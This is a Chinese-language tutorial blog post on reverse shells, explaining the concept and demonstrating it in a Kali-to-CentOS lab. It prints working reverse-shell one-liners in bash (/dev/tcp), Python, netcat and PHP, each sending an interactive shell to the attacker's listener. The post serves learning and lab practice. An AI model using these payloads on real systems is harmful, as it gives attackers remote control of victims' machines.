前言:
最近看大师傅们的博客,总是会看到反弹shell
,而且不理解,所以就学习一波顺便总结下来!
0x01:何为反弹Shell
反弹shell(reverse shell
),就是控制端监听某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell
与telnet
(远程登陆),ssh
等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
0x02:为何要反弹Shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
假设攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,叫做正向连接。远程桌面、web服务、ssh、telnet
等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
0x03:实践反弹Shell
实验环境:
Kali Linux: 192.168.186.128(攻击方)
CentOS 7: 192.168.186.129(服务器端)
方法一:使用linux命令反弹shell
反弹shell
命令格式如下:
$ bash -i >& /dev/tcp/ip/port 0>&1
先在kail中使用nc
监听6666
端口
$ nc -lvp 6666
然后在Centos
中执行:
$ bash -i >& /dev/tcp/192.168.186.128/6666 0>&1
查看kail,发现ip地址已经变成服务器端的ip了,说明shell反弹成功,这时候就能对服务器进行远程操控了
在Centos
中执行那串代码是怎么来的?,下面就来学习一下:
#bash -i
bash 是linux 的一个比较常见的shell
-i 这个参数表示的是产生交互式的shell
#/dev/tcp/ip/port
Linux有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,但如果你访问这个文件的位置它是不存在的。
除此之外还可以在服务器端输出字符串到这个/dev/tcp
文件中,这样攻击方便可以接收到:
输出lemon并重定向到/dev/tcp
文件中
这个过程是服务器端->攻击端
,同样也可以在攻击机上的输入,服务端进行接收
攻击端输入
服务器端接收
这行命令还含有&、0>&1
>&、&>作用就是混合输出(错误、正确输出都输出到一个地方)
这里就涉及交互重定向,为实现交互,需要把服务器端交互式shell
的输出重定向到攻击机上
在服务器端上输入
#>输出重定向
$ bash -i >/dev/tcp/192.168.186.128/6666
如同,服务器端没有任何回显,攻击端有回显
但是这里就存在着一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行,所以需要一条这样的指令
#<属于输入重定向
bash -i < /dev/tcp/192.168.186.128/6666
这条指令的意思是将攻击者输入的命令输入给受害者的bash,所以便可以实现对受害者的控制
攻击方:
服务器端:
将两条指令结合起来,便可以形成:
bash -i > /dev/tcp/192.168.186.128/6666 0>&1
接下来就涉及到比较复杂的重定向和文件描述符的知识,最终形成最经典的反弹shell语句。
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
由于现在是初始阶段,有的确实还是不理解就不误导其他人了.先通过使用来加深印象之后再将原理这块补齐。原理可以参考这位大师傅的反弹shell
方法二:通过python反弹shell
首先在kail中监听6666端口
root@kail:~# nc -lvp 6666
然后在Centos中输入
$ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.186.128',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
展开来看就是这样:
"import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.186.128',6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"
连接成功
原理还是经典反弹shell的原理,这里只不过是利用了python来实现
方法三:通过nc反弹shell
流程还是一样的,先在kail中监听6666
端口
root@kail:~# nc -lvp 6666
然后在CentOS中输入:
$ nc -e /bin/bash 192.168.186.128 6666
连接成功
方法四:使用php反弹shell
类型一:exec函数来反弹shell
先在kail中监听端口,这里就不再叙述了
然后在Centos中执行以下命令:
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.186.128/6666");'
连接成功:
类型二:fsockopen连接
fsockopen — 打开一个网络连接或者一个Unix套接字连接
在Centos中执行:
php -r '$sock=fsockopen("192.168.186.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'
连接成功
总结:
这次就先了解反弹shell的几种方式,由于目前对linux的一些知识掌握的还不是很好,就先不学习原理,待基础知识增强后再学习原理!!!